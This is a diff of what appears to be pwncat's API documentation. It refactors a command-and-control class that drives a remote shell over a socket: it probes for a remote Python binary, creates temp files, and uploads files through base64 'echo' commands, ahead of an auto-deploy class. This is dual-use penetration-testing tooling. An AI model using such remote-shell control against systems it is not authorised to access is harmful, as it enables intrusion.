# Properties # -------------------------------------------------------------------------- @property - def python(self): + def remote_python(self): # type: () -> str """Discovered absolute Python remote path.""" - return self.__python + return self.__remote_python @property - def py3(self): + def remote_py3(self): # type: () -> bool """Is remote version Python3? Else it is Python2.""" - return self.__py3 + return self.__remote_py3 # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- - def __init__(self, enc, fsend, frecv): - # type: (StringEncoder, Callable[[str], None], Callable[[], Iterator[str]]) -> None + def __init__(self, network): + # type: (IONetwork) -> None """Instantiate Command and Control class. Args: - enc (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat). - fsend (func): Socket send function. - frcev (func): Socket receive generator function. + network (IONetwork): Instance of IONetwork Raises: - FileNotFoundError: if remote Python binary path is not found. + CNCPythonNotFound: if remote Python binary path is not found. """ - self.__enc = enc - self.__fsend = fsend - self.__frecv = frecv + self.__net = network + self.__log = logging.getLogger(__name__) + self.__py3 = sys.version_info >= (3, 0) # type: bool + + # Along with the response the server might prefix/suffix data + # such as a PS1 prompt (which might be send first or last with a newline) + self.__remote_prefix = [] # type: List[bytes] + self.__remote_suffix = [] # type: List[bytes] + + # Receive timeout value will be adjusted dynamically depending on the + # speed of the server. We'll start high to allow for slow servers. + self.__recv_timeout = 0.3 + self.__recv_rounds = 5 + self.__recv_times = [] # type: List[float] + # [1/3] Check if there is data to be received first (e.g.: greeting) + self.print_info("Checking if remote sends greeting...") + greeting = self.send_recv(None, False, False) + if greeting: + self.print_raw(b"\n".join(greeting), True) + + # [2/3] Check if the remote sends a prefix with every reply + self.__set_remote_prefix() + + # [3/3] Find potential Python versions if not self.__set_remote_python_path(): self.print_info("No Python has been found. Aborting and handing over to current shell.") - raise FileNotFoundError() + raise CNCPythonNotFound() # -------------------------------------------------------------------------- - # Public Functions + # Print Functions # -------------------------------------------------------------------------- def print_info(self, message=None, newline=True, erase=False): # type: (Optional[str], bool, bool) -> None @@ -6880,15 +8012,261 @@

Raises

print("{}{}".format(prefix, message), end=end) sys.stdout.flush() - def remote_command(self, command): - # type: (str) -> None - """Run remote command with correct linefeeds. + def print_raw(self, message, newline): + # type: (bytes, bool) -> None + """Print a message to the local screen without color/prefix. + + Args: + message (bytes): The message to print. + newline (bool): Add a newline? + """ + if self.__py3: + end = b"\n" if newline else b"" + sys.stdout.buffer.write(b"".join([message, end])) + else: + end = "\n" if newline else "" # type: ignore + print(message, end=end) # type: ignore + + # For issues with flush (when using tail -F or equal) see links below: + # https://stackoverflow.com/questions/26692284 + # https://docs.python.org/3/library/signal.html#note-on-sigpipe + try: + sys.stdout.flush() + except IOError: + # Python flushes standard streams on exit; redirect remaining output + # to devnull to avoid another broken pipe at shutdown + devnull = os.open(os.devnull, os.O_WRONLY) + os.dup2(devnull, sys.stdout.fileno()) + + # -------------------------------------------------------------------------- + # Network Functions + # -------------------------------------------------------------------------- + def send(self, data): + # type: (bytes) -> int + """Send data through a connected (TCP) or unconnected (UDP) socket. + + Args: + data (bytes): The data to send. + + Returns: + int: Returns total bytes sent. + + Raises: + socket.error: Except here when unconnected or connection was forcibly closed. + """ + return self.__net.net.send(data) + + def flush_receive(self): + # type: () -> List[bytes] + """Try to reveive everything which is currently being sent from remote. + + Returns: + List[bytes]: Returns a list of bytes of received data. + + Raises: + socket.error: Except here when unconnected or connection was forcibly closed. + """ + self.print_info("Flushing receive buffer (this can take some time) ...") + + self.send(b"\n") + data1 = self.send_recv(None, False, False) + data2 = self.send_recv(None, False, False) + + self.print_info("Flushing receive buffer done.") + return data1 + data2 + + def send_recv(self, data, strip_suffix=True, strip_echo=False): + # type: (Optional[bytes], bool, bool) -> List[bytes] + """Send data through a connected (TCP) or unconnected (UDP) socket and receive all replies. + + Args: + data (None|bytes): The data to send. If None, will skip sending. + strip_suffix (bool): Strip remote suffix from received data? + strip_echo (bool): Also remove 'data' from output if server has echo'ed it? + + Returns: + List[bytes]: Returns a list of bytes of received data. + + Raises: + socket.error: Except here when unconnected or connection was forcibly closed. + """ + # [1/4] Send + if data is not None: + self.__net.net.send(data) + + # [2/4] Receive actual reply + responses = [] + + # Setup timer and current receive round + time_start = datetime.now() + curr_round = 0 + + while curr_round < self.__recv_rounds: + try: + response = self.__net.net.receive() + except socket.timeout: + time.sleep(self.__recv_timeout) + time_step = datetime.now() + time_diff = time_step - time_start + + self.__log.trace( # type: ignore + "Timeout: Receive timed out after %f sec in %d/%d rounds", + time_diff.total_seconds(), + curr_round + 1, + self.__recv_rounds, + ) + curr_round += 1 + # On successful read, we can determine to adjust timings. + else: + time_end = datetime.now() + time_diff = time_end - time_start + + self.__recv_times.append(time_diff.total_seconds()) + self.__log.trace( # type: ignore + "Timeout: Receive took %f sec (avg: %f) to receive in %d/%d rounds", + time_diff.total_seconds(), + sum(self.__recv_times) / len(self.__recv_times), + curr_round + 1, + self.__recv_rounds, + ) + + # Retries were required + prev_recv_timeout = self.__recv_timeout + if curr_round > 1: + self.__recv_timeout += time_diff.total_seconds() + # No retries requred + else: + self.__recv_timeout = time_diff.total_seconds() / 2 + + self.__log.trace( # type: ignore + "Timeout: Previous recv timeout: %f sec -> new recv timeout: %f sec", + prev_recv_timeout, + self.__recv_timeout, + ) + + # Add response + if response: + responses.append(response) + + # Reset the start time and round + time_start = datetime.now() + curr_round = 0 + + # Return if already empty + if not responses: + return responses + + # Response could be in one of the below listed formats: + # 1. response could be one line per element + # 2. reposnse could be multiple lines per element + # 3. response cloud be single characters per element + # But we want to make sure that we always get one line per element, + # so we normalize it + + # First: Join lines which do not have line endings + self.__log.debug("Normalize recv before (1): %s", repr(responses)) + normalized = [] + has_eol = True + for line in responses: + if has_eol: + normalized.append(line) + else: + normalized[-1] = normalized[-1] + line + # Determine what to do next iteration + if line.endswith(b"\r\n"): + has_eol = True + elif line.endswith(b"\n"): + has_eol = True + elif line.endswith(b"\r"): + has_eol = True + else: + has_eol = False + responses = normalized + self.__log.debug("Normalize recv after (1): %s", repr(responses)) + + # Second: Separate lines which have line endings + self.__log.debug("Normalize recv before (2): %s", repr(responses)) + normalized = [] + for line in responses: + line = line.rstrip(b"\r\n") + line = line.rstrip(b"\n") + line = line.rstrip(b"\r") + line = line.lstrip(b"\r\n") + line = line.lstrip(b"\n") + line = line.lstrip(b"\r") + if b"\r\n" in line: + for newline in line.split(b"\r\n"): + normalized.append(newline) + elif b"\n" in line: + for newline in line.split(b"\n"): + normalized.append(newline) + elif b"\r" in line: + for newline in line.split(b"\r"): + normalized.append(newline) + else: + normalized.append(line) + responses = normalized + self.__log.debug("Normalize recv after (2): %s", repr(responses)) + + # [3/4] Remove remote ends suffix (if it sends something like it) + # We iterate reversed of responses and check if the new line suffix(es) + # are present at the end. + # This is because the suffix(es) is always received last. + if self.__remote_suffix and strip_suffix: + # If multiple suffix lines are send we will first strip x-1 suffix lines + if len(self.__remote_suffix) > 1: + lines_to_strip = len(self.__remote_suffix) - 1 + self.__log.debug("Remove suffix before (1): %s", repr(responses)) + responses = responses[:-lines_to_strip] + self.__log.debug("Remove suffix after (1): %s", repr(responses)) + + # Return if already empty + if not responses: + return responses + + # Clean up the last response line with first suffix line + self.__log.debug("Remove suffix before (2): %s", repr(responses)) + responses[-1] = responses[-1].rstrip(self.__remote_suffix[0]) + self.__log.debug("Remove suffix after (2): %s", repr(responses)) + + # Ensure empty elements are removed + self.__log.debug("Remove suffix before (3): %s", repr(responses)) + responses = [item for item in responses if item] + self.__log.debug("Remove suffix after (3): %s", repr(responses)) + + # [4/4] Some server also echo back what we've send, so if we did send something + # we need to strip this off as well + if data is not None and strip_echo: + for idx, item in enumerate(responses): + if data in responses[idx]: + del responses[idx] + elif data.rstrip() in responses[idx]: + del responses[idx] + # Ensure empty elements are removed + responses = [item for item in responses if item] + + # Return list of respones + return responses + + # -------------------------------------------------------------------------- + # High-level Functions + # -------------------------------------------------------------------------- + def remote_command(self, command, output): + # type: (str, bool) -> Optional[List[bytes]] + """Run remote command with correct linefeeds and receive response lines. Args: command (str): The command to execute on the remote end. + output (bool): Receive output from command? """ - # TODO: determine remote host line feeds and set accordingly. - self.__fsend(command + "\n") + command = command.rstrip("\r\n") + command = command.rstrip("\r") + command = command.rstrip("\n") + command = command + "\n" + if output: + return self.send_recv(StringEncoder.encode(command), True, True) + self.send(StringEncoder.encode(command)) + return None def create_remote_tmpfile(self): # type: () -> Optional[str] @@ -6897,27 +8275,74 @@

Raises

Returns: str or None: Returns path on success or None on error. """ + self.flush_receive() + self.print_info("Creating tmpfile:", False, True) + command = [] - command.append("{} -c '".format(self.__python)) + command.append("{} -c '".format(self.__remote_python)) command.append("import tempfile;") command.append("h,f=tempfile.mkstemp();") - if self.__py3: + if self.__remote_py3: command.append("print(f);") else: command.append("print f;") command.append("'") - self.remote_command("".join(command)) + response = self.remote_command("".join(command), True) - self.print_info("Creating tmpfile:", False, True) - for response in self.__frecv(): - if response: - tmpfile = response.rstrip() - self.print_info("Creating tmpfile: {}".format(tmpfile), True, True) - return tmpfile + # All good + if response is not None and len(response) == 1: + tmpfile = StringEncoder.decode(response[0]).rstrip() + self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True) + return tmpfile - self.print_info("Failed to create tmpfile", True, True) + # Something went wrong with stripping prefix from server, we need to manually + # check if creation was successful. + if response is not None and len(response) > 1: + # A bit fuzzy, but we try a few times + for _ in range(5): + self.print_info("Creating tmpfile: Unsure - checking otherwise", True, True) + for candidate in response: + tmpfile = StringEncoder.decode(candidate).rstrip() + if self.remote_file_exists(tmpfile): + self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True) + return tmpfile + + self.print_info("Creating tmpfile: Failed", True, True) + self.print_info("Response: {}".format(repr(response))) return None + def remote_file_exists(self, remote_path): + # type: (str) -> bool + """Ensure given remote path exists as a file on remote end. + + Args: + remote_path (str): Path of file to check. + + Returns: + bool: Returns `True` on success and `False` on failure. + """ + self.flush_receive() + + # String should be short as an unstable remote might send small chunks + unique_string = "_pwncat_" + response = self.remote_command( + 'test -f "{}" && echo "{}"'.format(remote_path, unique_string), True + ) + if response is not None: + for candidate in response: + if StringEncoder.decode(candidate) == unique_string: + return True + if StringEncoder.decode(candidate).rstrip() == unique_string: + return True + response = self.flush_receive() + if response is not None: + for candidate in response: + if StringEncoder.decode(candidate).rstrip() == unique_string: + return True + if StringEncoder.decode(candidate).rstrip() == unique_string: + return True + return False + def upload(self, lpath, rpath): # type: (str, str) -> bool """OS-independent upload of a local file to a remote path. @@ -6929,13 +8354,14 @@

Raises

Returns: bool: Returns `True` on success and `False` on failure. """ - assert self.__python is not None - assert self.__py3 is not None + assert self.__remote_python is not None + assert self.__remote_py3 is not None rpath_b64 = self.create_remote_tmpfile() + self.flush_receive() if rpath_b64 is None: return False - if not self.__upload_file_base_64_encoded(lpath, rpath_b64): + if not self.__upload_file_base_64_encoded(lpath, rpath_b64, True): return False if not self.__remote_base64_decode(rpath_b64, rpath): return False @@ -6944,6 +8370,78 @@

Raises

# -------------------------------------------------------------------------- # Private Functions # -------------------------------------------------------------------------- + def __set_remote_prefix(self): + # type: () -> None + """Determines if the remote always sends a specific prefix with its other data.""" + self.__remote_prefix = [] + self.__remote_suffix = [] + + has_suffix = False + + self.print_info("Checking if remote sends prefix/suffix to every request...") + response = self.send_recv(b'echo "__pwn__"\n') + expected = b"__pwn__" + + if response: + for line in response: + # If the line begins with our expected response, all data after that + # is a suffix that the server might be sending. + if re.match(expected, line): + has_suffix = True + # If bytes are still left after our response, add it + if line.replace(expected, b"", 1): + self.__remote_suffix.append(line.replace(expected, b"", 1)) + continue + if has_suffix: + self.__remote_suffix.append(line) + + # Ensure empty elements are removed + self.__log.debug("Set suffix before: %s", repr(self.__remote_suffix)) + self.__remote_suffix = [item for item in self.__remote_suffix if item] + self.__log.debug("Set suffix after: %s", repr(self.__remote_suffix)) + + if self.__remote_prefix: + self.print_info("Remote prefix ({} lines):".format(len(self.__remote_prefix))) + for line in self.__remote_prefix: + self.print_raw(repr(line).encode(), True) + else: + self.print_info("Remote does not send prefix") + if self.__remote_suffix: + self.print_info("Remote suffix ({} lines):".format(len(self.__remote_suffix))) + for line in self.__remote_suffix: + self.print_raw(repr(line).encode(), True) + else: + self.print_info("Remote does not send suffix") + + def __get_remote_python_version(self, path): + # type: (str) -> Optional[str] + """Get remote Python version by path. + + Args: + path (str): Path to potential python binary. + + Returns: + Optional[str]: Python version string or None if not found. + """ + command = [] + command.append("{} -c '".format(path)) + command.append("from __future__ import print_function;") + command.append("import sys;") + command.append("v=sys.version_info;") + command.append('print("{}.{}.{}".format(v[0], v[1], v[2]));\'') + + response = self.remote_command("".join(command), True) + + if response is not None and response: + for line in response: + match = re.search(b"^([.0-9]+)", line) + # Potential version candidate + if match: + version = StringEncoder.decode(match.group(1)) + if version[0] in ["2", "3"]: + return version + return None + def __set_remote_python_path(self): # type: () -> bool """Enumerate remote Python binary. @@ -6952,70 +8450,107 @@

Raises

bool: Returns `True` on success and `False` on failure. """ # TODO: Make windows compatible + # [1/2] 'which' method + for name in self.__PYTHON_NAMES: + self.print_info("Probing for: which {}".format(name)) + response = self.remote_command("which {} 2>/dev/null".format(name), True) + if response is not None and response: + for line in response: + path = StringEncoder.decode(line) + self.print_info("Potential path: {}".format(path)) + version = self.__get_remote_python_version(path) + if version is None: + continue + + if version[0] == "2": + self.__remote_py3 = False + if version[0] == "3": + self.__remote_py3 = True + self.print_info("Found valid Python{} version: {}".format(version[0], version)) + self.__remote_python = path + return True + + # TODO: Make windows compatible + # [2/2] Absolute path method for path in self.__PYTHON_PATHS: - for version in self.__PYTHON_VERSIONS: - python = path + "/" + version + for name in self.__PYTHON_NAMES: + + python = path + "/" + name self.print_info("Probing for: {}".format(python)) - self.remote_command("test -f {p} && echo {p} || echo;".format(p=python)) - for response in self.__frecv(): - reg = re.search(r"^([.0-9]+)", response) - if response.rstrip() == python.rstrip(): - self.print_info("Potential path: {}".format(python)) - command = [] - command.append("{} -c '".format(python)) - command.append("from __future__ import print_function;") - command.append("import sys;") - command.append("v=sys.version_info;") - command.append('print("{}.{}.{}".format(v[0], v[1], v[2]));\'') - data = "".join(command) - self.remote_command(data) + rpath_lines = self.remote_command( + "test -f {p} && echo {p} || echo".format(p=python), True + ) + if rpath_lines is not None and rpath_lines: + # Reset current round + path_found = False + + # We expect a length of one, but we handle errors as well. + for rpath_line in rpath_lines: + if StringEncoder.decode(rpath_line).rstrip() == python: + path_found = True + break + if not path_found: continue - if reg: - match = reg.group(1) - if match[0] == "2": - self.__py3 = False - elif match[0] == "3": - self.__py3 = True - else: - self.print_info( - "Could not determine major version: {}".format(reg.group(1)) - ) - return False - self.print_info("Found valid Python{} version: {}".format(match[0], match)) - self.__python = python - return True - # Nothing matched, break the innter loop - break + + # Potential python candidate + self.print_info("Potential path: {}".format(python)) + version = self.__get_remote_python_version(python) + if version is None: + continue + + if version[0] == "2": + self.__remote_py3 = False + if version[0] == "3": + self.__remote_py3 = True + self.print_info("Found valid Python{} version: {}".format(version[0], version)) + self.__remote_python = python + return True return False - def __upload_file_base_64_encoded(self, lpath, rpath): - # type: (str, str) -> bool + def __upload_file_base_64_encoded(self, lpath, rpath, at_once=False): + # type: (str, str, bool) -> bool """Upload a local file to a base64 encoded remote file. Args: lpath (str): Local path of the file. rpath (str): Remote path, where to upload the base64 encoded file. + at_once (bool): Send all data at once. Returns: bool: Returns `True` on success and `False` on failure. """ first = True + data = [] # type: List[str] + with open(lpath, "r") as fhandle: lines = fhandle.readlines() count = len(lines) curr = 1 for line in lines: - self.print_info( - "Uploading: {} -> {} ({}/{})".format(lpath, rpath, curr, count), False, True - ) - b64 = self.__enc.base64_encode(line) + if not at_once: + self.print_info( + "Uploading: {} -> {} ({}/{})".format(lpath, rpath, curr, count), False, True + ) + b64 = StringEncoder.decode(base64.b64encode(StringEncoder.encode(line))) if first: - self.remote_command('echo "{}" > {}'.format(b64, rpath)) + if at_once: + data.append('echo "{}" > "{}"'.format(b64, rpath)) + else: + self.remote_command('echo "{}" > "{}"'.format(b64, rpath), False) first = False else: - self.remote_command('echo "{}" >> {}'.format(b64, rpath)) + if at_once: + data.append('echo "{}" >> "{}"'.format(b64, rpath)) + else: + self.remote_command('echo "{}" >> "{}"'.format(b64, rpath), False) curr += 1 - self.print_info() + + if at_once: + self.print_info("Uploading: {} -> {} ({}/{})".format(lpath, rpath, 1, 1)) + self.remote_command("\n".join(data), False) + else: + self.print_info() + # TODO: md5 check if this is legit return True @@ -7030,18 +8565,22 @@

Raises

Returns: bool: Returns `True` on success or `False` on failure. """ + self.flush_receive() + command = [] - command.append("{} -c 'import base64;".format(self.__python)) + command.append("{} -c 'import base64;".format(self.__remote_python)) command.append('f=open("{}", "r");'.format(rpath_source)) command.append("lines = f.readlines();") - if self.__py3: - command.append('print("".join([base64.b64decode(l.encode()) for l in lines]));\'') + if self.__remote_py3: + command.append( + 'print((b"".join([base64.b64decode(l.encode()) for l in lines])).decode());\'' + ) else: command.append('print "".join([base64.b64decode(l) for l in lines]);\'') - command.append("> {}".format(rpath_target)) + command.append('> "{}"'.format(rpath_target)) self.print_info("Decoding: {} -> {}".format(rpath_source, rpath_target)) - self.remote_command("".join(command)) + self.remote_command("".join(command), False) # TODO: validate via md5 return True
@@ -7051,7 +8590,7 @@

Subclasses

Instance variables

-
var py3
+
var remote_py3

Is remote version Python3? Else it is Python2.

@@ -7059,13 +8598,13 @@

Instance variables

Expand source code
@property
-def py3(self):
+def remote_py3(self):
     # type: () -> bool
     """Is remote version Python3? Else it is Python2."""
-    return self.__py3
+ return self.__remote_py3
-
var python
+
var remote_python

Discovered absolute Python remote path.

@@ -7073,10 +8612,10 @@

Instance variables

Expand source code
@property
-def python(self):
+def remote_python(self):
     # type: () -> str
     """Discovered absolute Python remote path."""
-    return self.__python
+ return self.__remote_python
@@ -7103,26 +8642,80 @@

Returns

Returns: str or None: Returns path on success or None on error. """ + self.flush_receive() + self.print_info("Creating tmpfile:", False, True) + command = [] - command.append("{} -c '".format(self.__python)) + command.append("{} -c '".format(self.__remote_python)) command.append("import tempfile;") command.append("h,f=tempfile.mkstemp();") - if self.__py3: + if self.__remote_py3: command.append("print(f);") else: command.append("print f;") command.append("'") - self.remote_command("".join(command)) + response = self.remote_command("".join(command), True) + + # All good + if response is not None and len(response) == 1: + tmpfile = StringEncoder.decode(response[0]).rstrip() + self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True) + return tmpfile + + # Something went wrong with stripping prefix from server, we need to manually + # check if creation was successful. + if response is not None and len(response) > 1: + # A bit fuzzy, but we try a few times + for _ in range(5): + self.print_info("Creating tmpfile: Unsure - checking otherwise", True, True) + for candidate in response: + tmpfile = StringEncoder.decode(candidate).rstrip() + if self.remote_file_exists(tmpfile): + self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True) + return tmpfile + + self.print_info("Creating tmpfile: Failed", True, True) + self.print_info("Response: {}".format(repr(response))) + return None + +
+
+def flush_receive(self) +
+
+

Try to reveive everything which is currently being sent from remote.

+

Returns

+
+
List[bytes]
+
Returns a list of bytes of received data.
+
+

Raises

+
+
socket.error
+
Except here when unconnected or connection was forcibly closed.
+
+
+ +Expand source code + +
def flush_receive(self):
+    # type: () -> List[bytes]
+    """Try to reveive everything which is currently being sent from remote.
 
-    self.print_info("Creating tmpfile:", False, True)
-    for response in self.__frecv():
-        if response:
-            tmpfile = response.rstrip()
-            self.print_info("Creating tmpfile: {}".format(tmpfile), True, True)
-            return tmpfile
+    Returns:
+        List[bytes]: Returns a list of bytes of received data.
 
-    self.print_info("Failed to create tmpfile", True, True)
-    return None
+ Raises: + socket.error: Except here when unconnected or connection was forcibly closed. + """ + self.print_info("Flushing receive buffer (this can take some time) ...") + + self.send(b"\n") + data1 = self.send_recv(None, False, False) + data2 = self.send_recv(None, False, False) + + self.print_info("Flushing receive buffer done.") + return data1 + data2
@@ -7158,37 +8751,382 @@

Args

message = "" prefix = "" - if erase: - print("\r" * 1024 + "{}{}".format(prefix, message), end=end) - sys.stdout.flush() - else: - print("{}{}".format(prefix, message), end=end) - sys.stdout.flush()
+ if erase: + print("\r" * 1024 + "{}{}".format(prefix, message), end=end) + sys.stdout.flush() + else: + print("{}{}".format(prefix, message), end=end) + sys.stdout.flush() + + +
+def print_raw(self, message, newline) +
+
+

Print a message to the local screen without color/prefix.

+

Args

+
+
message : bytes
+
The message to print.
+
newline : bool
+
Add a newline?
+
+
+ +Expand source code + +
def print_raw(self, message, newline):
+    # type: (bytes, bool) -> None
+    """Print a message to the local screen without color/prefix.
+
+    Args:
+        message (bytes): The message to print.
+        newline (bool): Add a newline?
+    """
+    if self.__py3:
+        end = b"\n" if newline else b""
+        sys.stdout.buffer.write(b"".join([message, end]))
+    else:
+        end = "\n" if newline else ""  # type: ignore
+        print(message, end=end)  # type: ignore
+
+    # For issues with flush (when using tail -F or equal) see links below:
+    # https://stackoverflow.com/questions/26692284
+    # https://docs.python.org/3/library/signal.html#note-on-sigpipe
+    try:
+        sys.stdout.flush()
+    except IOError:
+        # Python flushes standard streams on exit; redirect remaining output
+        # to devnull to avoid another broken pipe at shutdown
+        devnull = os.open(os.devnull, os.O_WRONLY)
+        os.dup2(devnull, sys.stdout.fileno())
+
+
+
+def remote_command(self, command, output) +
+
+

Run remote command with correct linefeeds and receive response lines.

+

Args

+
+
command : str
+
The command to execute on the remote end.
+
output : bool
+
Receive output from command?
+
+
+ +Expand source code + +
def remote_command(self, command, output):
+    # type: (str, bool) -> Optional[List[bytes]]
+    """Run remote command with correct linefeeds and receive response lines.
+
+    Args:
+        command (str): The command to execute on the remote end.
+        output (bool): Receive output from command?
+    """
+    command = command.rstrip("\r\n")
+    command = command.rstrip("\r")
+    command = command.rstrip("\n")
+    command = command + "\n"
+    if output:
+        return self.send_recv(StringEncoder.encode(command), True, True)
+    self.send(StringEncoder.encode(command))
+    return None
+
+
+
+def remote_file_exists(self, remote_path) +
+
+

Ensure given remote path exists as a file on remote end.

+

Args

+
+
remote_path : str
+
Path of file to check.
+
+

Returns

+
+
bool
+
Returns True on success and False on failure.
+
+
+ +Expand source code + +
def remote_file_exists(self, remote_path):
+    # type: (str) -> bool
+    """Ensure given remote path exists as a file on remote end.
+
+    Args:
+        remote_path (str): Path of file to check.
+
+    Returns:
+        bool: Returns `True` on success and `False` on failure.
+    """
+    self.flush_receive()
+
+    # String should be short as an unstable remote might send small chunks
+    unique_string = "_pwncat_"
+    response = self.remote_command(
+        'test -f "{}" && echo "{}"'.format(remote_path, unique_string), True
+    )
+    if response is not None:
+        for candidate in response:
+            if StringEncoder.decode(candidate) == unique_string:
+                return True
+            if StringEncoder.decode(candidate).rstrip() == unique_string:
+                return True
+    response = self.flush_receive()
+    if response is not None:
+        for candidate in response:
+            if StringEncoder.decode(candidate).rstrip() == unique_string:
+                return True
+            if StringEncoder.decode(candidate).rstrip() == unique_string:
+                return True
+    return False
+
+
+
+def send(self, data) +
+
+

Send data through a connected (TCP) or unconnected (UDP) socket.

+

Args

+
+
data : bytes
+
The data to send.
+
+

Returns

+
+
int
+
Returns total bytes sent.
+
+

Raises

+
+
socket.error
+
Except here when unconnected or connection was forcibly closed.
+
+
+ +Expand source code + +
def send(self, data):
+    # type: (bytes) -> int
+    """Send data through a connected (TCP) or unconnected (UDP) socket.
+
+    Args:
+        data (bytes): The data to send.
+
+    Returns:
+        int: Returns total bytes sent.
+
+    Raises:
+        socket.error:   Except here when unconnected or connection was forcibly closed.
+    """
+    return self.__net.net.send(data)
-
-def remote_command(self, command) +
+def send_recv(self, data, strip_suffix=True, strip_echo=False)
-

Run remote command with correct linefeeds.

+

Send data through a connected (TCP) or unconnected (UDP) socket and receive all replies.

Args

-
command : str
-
The command to execute on the remote end.
+
data (None|bytes): The data to send. If None, will skip sending.
+
strip_suffix : bool
+
Strip remote suffix from received data?
+
strip_echo : bool
+
Also remove 'data' from output if server has echo'ed it?
+
+

Returns

+
+
List[bytes]
+
Returns a list of bytes of received data.
+
+

Raises

+
+
socket.error
+
Except here when unconnected or connection was forcibly closed.
Expand source code -
def remote_command(self, command):
-    # type: (str) -> None
-    """Run remote command with correct linefeeds.
+
def send_recv(self, data, strip_suffix=True, strip_echo=False):
+    # type: (Optional[bytes], bool, bool) -> List[bytes]
+    """Send data through a connected (TCP) or unconnected (UDP) socket and receive all replies.
 
     Args:
-        command (str): The command to execute on the remote end.
+        data (None|bytes): The data to send. If None, will skip sending.
+        strip_suffix (bool): Strip remote suffix from received data?
+        strip_echo (bool): Also remove 'data' from output if server has echo'ed it?
+
+    Returns:
+        List[bytes]: Returns a list of bytes of received data.
+
+    Raises:
+        socket.error:   Except here when unconnected or connection was forcibly closed.
     """
-    # TODO: determine remote host line feeds and set accordingly.
-    self.__fsend(command + "\n")
+ # [1/4] Send + if data is not None: + self.__net.net.send(data) + + # [2/4] Receive actual reply + responses = [] + + # Setup timer and current receive round + time_start = datetime.now() + curr_round = 0 + + while curr_round < self.__recv_rounds: + try: + response = self.__net.net.receive() + except socket.timeout: + time.sleep(self.__recv_timeout) + time_step = datetime.now() + time_diff = time_step - time_start + + self.__log.trace( # type: ignore + "Timeout: Receive timed out after %f sec in %d/%d rounds", + time_diff.total_seconds(), + curr_round + 1, + self.__recv_rounds, + ) + curr_round += 1 + # On successful read, we can determine to adjust timings. + else: + time_end = datetime.now() + time_diff = time_end - time_start + + self.__recv_times.append(time_diff.total_seconds()) + self.__log.trace( # type: ignore + "Timeout: Receive took %f sec (avg: %f) to receive in %d/%d rounds", + time_diff.total_seconds(), + sum(self.__recv_times) / len(self.__recv_times), + curr_round + 1, + self.__recv_rounds, + ) + + # Retries were required + prev_recv_timeout = self.__recv_timeout + if curr_round > 1: + self.__recv_timeout += time_diff.total_seconds() + # No retries requred + else: + self.__recv_timeout = time_diff.total_seconds() / 2 + + self.__log.trace( # type: ignore + "Timeout: Previous recv timeout: %f sec -> new recv timeout: %f sec", + prev_recv_timeout, + self.__recv_timeout, + ) + + # Add response + if response: + responses.append(response) + + # Reset the start time and round + time_start = datetime.now() + curr_round = 0 + + # Return if already empty + if not responses: + return responses + + # Response could be in one of the below listed formats: + # 1. response could be one line per element + # 2. reposnse could be multiple lines per element + # 3. response cloud be single characters per element + # But we want to make sure that we always get one line per element, + # so we normalize it + + # First: Join lines which do not have line endings + self.__log.debug("Normalize recv before (1): %s", repr(responses)) + normalized = [] + has_eol = True + for line in responses: + if has_eol: + normalized.append(line) + else: + normalized[-1] = normalized[-1] + line + # Determine what to do next iteration + if line.endswith(b"\r\n"): + has_eol = True + elif line.endswith(b"\n"): + has_eol = True + elif line.endswith(b"\r"): + has_eol = True + else: + has_eol = False + responses = normalized + self.__log.debug("Normalize recv after (1): %s", repr(responses)) + + # Second: Separate lines which have line endings + self.__log.debug("Normalize recv before (2): %s", repr(responses)) + normalized = [] + for line in responses: + line = line.rstrip(b"\r\n") + line = line.rstrip(b"\n") + line = line.rstrip(b"\r") + line = line.lstrip(b"\r\n") + line = line.lstrip(b"\n") + line = line.lstrip(b"\r") + if b"\r\n" in line: + for newline in line.split(b"\r\n"): + normalized.append(newline) + elif b"\n" in line: + for newline in line.split(b"\n"): + normalized.append(newline) + elif b"\r" in line: + for newline in line.split(b"\r"): + normalized.append(newline) + else: + normalized.append(line) + responses = normalized + self.__log.debug("Normalize recv after (2): %s", repr(responses)) + + # [3/4] Remove remote ends suffix (if it sends something like it) + # We iterate reversed of responses and check if the new line suffix(es) + # are present at the end. + # This is because the suffix(es) is always received last. + if self.__remote_suffix and strip_suffix: + # If multiple suffix lines are send we will first strip x-1 suffix lines + if len(self.__remote_suffix) > 1: + lines_to_strip = len(self.__remote_suffix) - 1 + self.__log.debug("Remove suffix before (1): %s", repr(responses)) + responses = responses[:-lines_to_strip] + self.__log.debug("Remove suffix after (1): %s", repr(responses)) + + # Return if already empty + if not responses: + return responses + + # Clean up the last response line with first suffix line + self.__log.debug("Remove suffix before (2): %s", repr(responses)) + responses[-1] = responses[-1].rstrip(self.__remote_suffix[0]) + self.__log.debug("Remove suffix after (2): %s", repr(responses)) + + # Ensure empty elements are removed + self.__log.debug("Remove suffix before (3): %s", repr(responses)) + responses = [item for item in responses if item] + self.__log.debug("Remove suffix after (3): %s", repr(responses)) + + # [4/4] Some server also echo back what we've send, so if we did send something + # we need to strip this off as well + if data is not None and strip_echo: + for idx, item in enumerate(responses): + if data in responses[idx]: + del responses[idx] + elif data.rstrip() in responses[idx]: + del responses[idx] + # Ensure empty elements are removed + responses = [item for item in responses if item] + + # Return list of respones + return responses
@@ -7223,13 +9161,14 @@

Returns

Returns: bool: Returns `True` on success and `False` on failure. """ - assert self.__python is not None - assert self.__py3 is not None + assert self.__remote_python is not None + assert self.__remote_py3 is not None rpath_b64 = self.create_remote_tmpfile() + self.flush_receive() if rpath_b64 is None: return False - if not self.__upload_file_base_64_encoded(lpath, rpath_b64): + if not self.__upload_file_base_64_encoded(lpath, rpath_b64, True): return False if not self.__remote_base64_decode(rpath_b64, rpath): return False @@ -7240,23 +9179,19 @@

Returns

class CNCAutoDeploy -(enc, send, recv, cmd, host, ports) +(network, cmd, host, ports)

Command&Control pwncat auto deployment class.

Instantiate Command and Control class.

Args

-
enc : StringEncoder
-
Instance of StringEncoder (Python2/3 str/byte compat).
-
fsend : func
-
Socket send function.
-
frcev : func
-
Socket receive generator function.
+
network : IONetwork
+
Instance of IONetwork

Raises

-
FileNotFoundError
+
CNCPythonNotFound
if remote Python binary path is not found.
@@ -7268,45 +9203,60 @@

Raises

